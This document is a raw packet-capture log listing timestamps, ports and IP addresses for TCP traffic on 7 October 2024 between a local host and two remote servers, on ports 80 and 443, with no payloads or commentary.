Oct 7, 2024 18:00:51.802655935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.802676916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.802690029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.802695990 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.802738905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.804625034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.804660082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.804682016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.804694891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.804703951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.804730892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.804739952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.804775953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.806252956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.806288958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.806310892 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.806322098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.806333065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.806368113 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.807470083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.807504892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.807538986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.807619095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.807678938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.808712006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.808768988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.808772087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.808806896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.808815002 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.808845043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.808851004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.808887959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.808943987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.808979988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.808994055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.809012890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.809026003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.809047937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.809065104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.809096098 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.809887886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.809923887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.809941053 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.809958935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.809967995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.809994936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.810003996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.810035944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.811193943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.811228037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.811244011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.811261892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.811271906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.811300039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.811306953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.811333895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.811343908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.811378002 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.812195063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.812232018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.812247992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.812267065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.812278032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.812302113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.812310934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.812345028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.813211918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.813246012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.813267946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.813278913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.813291073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.813314915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.813323975 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.813359022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.813390970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.813436985 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.813882113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.813916922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.813935995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.813951015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.813961029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.813986063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.813992023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.814028978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.814147949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.814182997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.814194918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.814219952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.814223051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.814254999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.814263105 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.814285994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.814308882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.814331055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.814704895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.814738989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.814764977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.814771891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.814785004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.814815044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.815325022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.815361977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.815381050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.815403938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.816477060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.816523075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.816544056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.816560030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.816581011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.816595078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.816610098 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.816636086 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.817229033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.817265987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.817286015 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.817300081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.817306995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.817342997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.825340033 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.825350046 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.825412035 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.825529099 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.827445984 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.827469110 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.828257084 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.828278065 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.829421043 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.829442978 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.836733103 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.836741924 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.837358952 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.837373972 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.837496996 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.837543964 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.837897062 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.837928057 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.838184118 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.838192940 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.839626074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.844722986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.929954052 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.930527925 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.930588007 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.930600882 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.930655003 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.930824995 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.930836916 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.930855989 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.930869102 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.930874109 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.931786060 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.931827068 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.931864023 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.931881905 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.934326887 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.934346914 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.934468031 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.934911966 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.934921026 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.935309887 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.935348034 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.935408115 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.935544014 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.935558081 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.014262915 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.014328003 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.014482021 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.014725924 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.014725924 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.014740944 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.014753103 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.017792940 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.017827988 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.017932892 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.018109083 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.018124104 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.046732903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.046751976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.046766043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.046844959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.046874046 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.047353029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.047364950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.047378063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.047405005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.047408104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.047421932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.047456026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.047522068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.047533035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.047544956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.047557116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.047561884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.047569990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.047580957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.047583103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.047611952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.047631979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.048355103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.048367023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.048377991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.048388958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.048401117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.048405886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.048413038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.048424006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.048433065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.048455954 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.048468113 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.049379110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.049390078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.049401045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.049413919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.049423933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.049436092 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.049438000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.049448013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.049463034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.049484015 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.050205946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.050219059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.050230980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.050242901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.050255060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.050260067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.050266981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.050276041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.050296068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.050323009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.051114082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.051126003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.051136971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.051150084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.051160097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.051167011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.051173925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.051184893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.051197052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.051218033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.052380085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052392006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052405119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052417040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052428007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052431107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.052442074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052453995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.052453995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052473068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.052504063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.052683115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052695036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052706003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052719116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052730083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.052731037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052743912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052745104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.052756071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.052772999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.052978992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.053612947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.053625107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.053636074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.053647995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.053658962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.053663015 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.053672075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.053684950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.053705931 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.054527044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.054538965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.054548979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.054560900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.054572105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.054577112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.054584980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.054594040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.054595947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.054616928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.054642916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.055454016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.055465937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.055476904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.055488110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.055499077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.055504084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.055510044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.055521011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.055526018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.055545092 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.055558920 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.056394100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.056405067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.056416035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.056427956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.056440115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.056443930 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.056452036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.056469917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.056490898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.057346106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.057358980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.057368994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.057380915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.057391882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.057398081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.057404041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.057415009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.057416916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.057439089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.057455063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.058242083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.058253050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.058262110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.058274984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.058284998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.058295012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.058303118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.058312893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.058320045 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.058339119 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.058366060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.059154987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059166908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059176922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059187889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059201956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059206009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.059214115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059230089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.059247971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.059787989 CEST	80	49831	95.164.90.97	192.168.2.5
